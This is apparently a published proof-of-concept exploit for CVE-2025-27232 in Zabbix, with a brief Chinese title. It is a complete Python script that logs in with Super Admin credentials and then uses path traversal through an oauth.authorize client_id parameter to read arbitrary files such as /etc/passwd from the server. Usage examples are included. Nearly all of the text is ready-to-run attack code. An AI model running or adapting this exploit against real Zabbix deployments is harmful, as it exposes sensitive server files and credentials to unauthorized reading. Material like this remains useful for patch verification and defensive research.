CVE-2025-27232 Zabbix Super Admin任意文件读取漏洞

# CVE-2025-27232 Zabbix Arbitrary File Read PoC # Target: Zabbix instances with Super Admin access # This PoC demonstrates the arbitrary file read via oauth.authorize import requests import sys from urllib.parse import quote def exploit_zabbix_file_read(base_url, username, password, target_file): """ Exploit CVE-2025-27232 to read arbitrary files from Zabbix server Args: base_url: Zabbix web interface URL username: Super Admin username password: Super Admin password target_file: File path to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ session = requests.Session() # Step 1: Login to Zabbix as Super Admin login_url = f"{base_url}/index.php" login_data = { "name": username, "password": password, "autologin": 1, "enter": "Sign in" } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return None print("[+] Successfully authenticated as Super Admin") # Step 2: Exploit oauth.authorize for arbitrary file read # Encode the target file path to bypass path validation encoded_file = quote(target_file) exploit_url = f"{base_url}/index.php?oauth=authorize&client_id=..%2f..%2f{encoded_file}" print(f"[*] Attempting to read file: {target_file}") response = session.get(exploit_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully retrieved file contents") return response.text else: print("[-] Failed to retrieve file contents") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-27232.py <base_url> <username> <password> <file_path>") print("Example: python cve-2025-27232.py http://zabbix.local Admin Password /etc/passwd") sys.exit(1) base_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] target_file = sys.argv[4] result = exploit_zabbix_file_read(base_url, username, password, target_file) if result: print("\n=== File Contents ===") print(result) if __name__ == "__main__": main()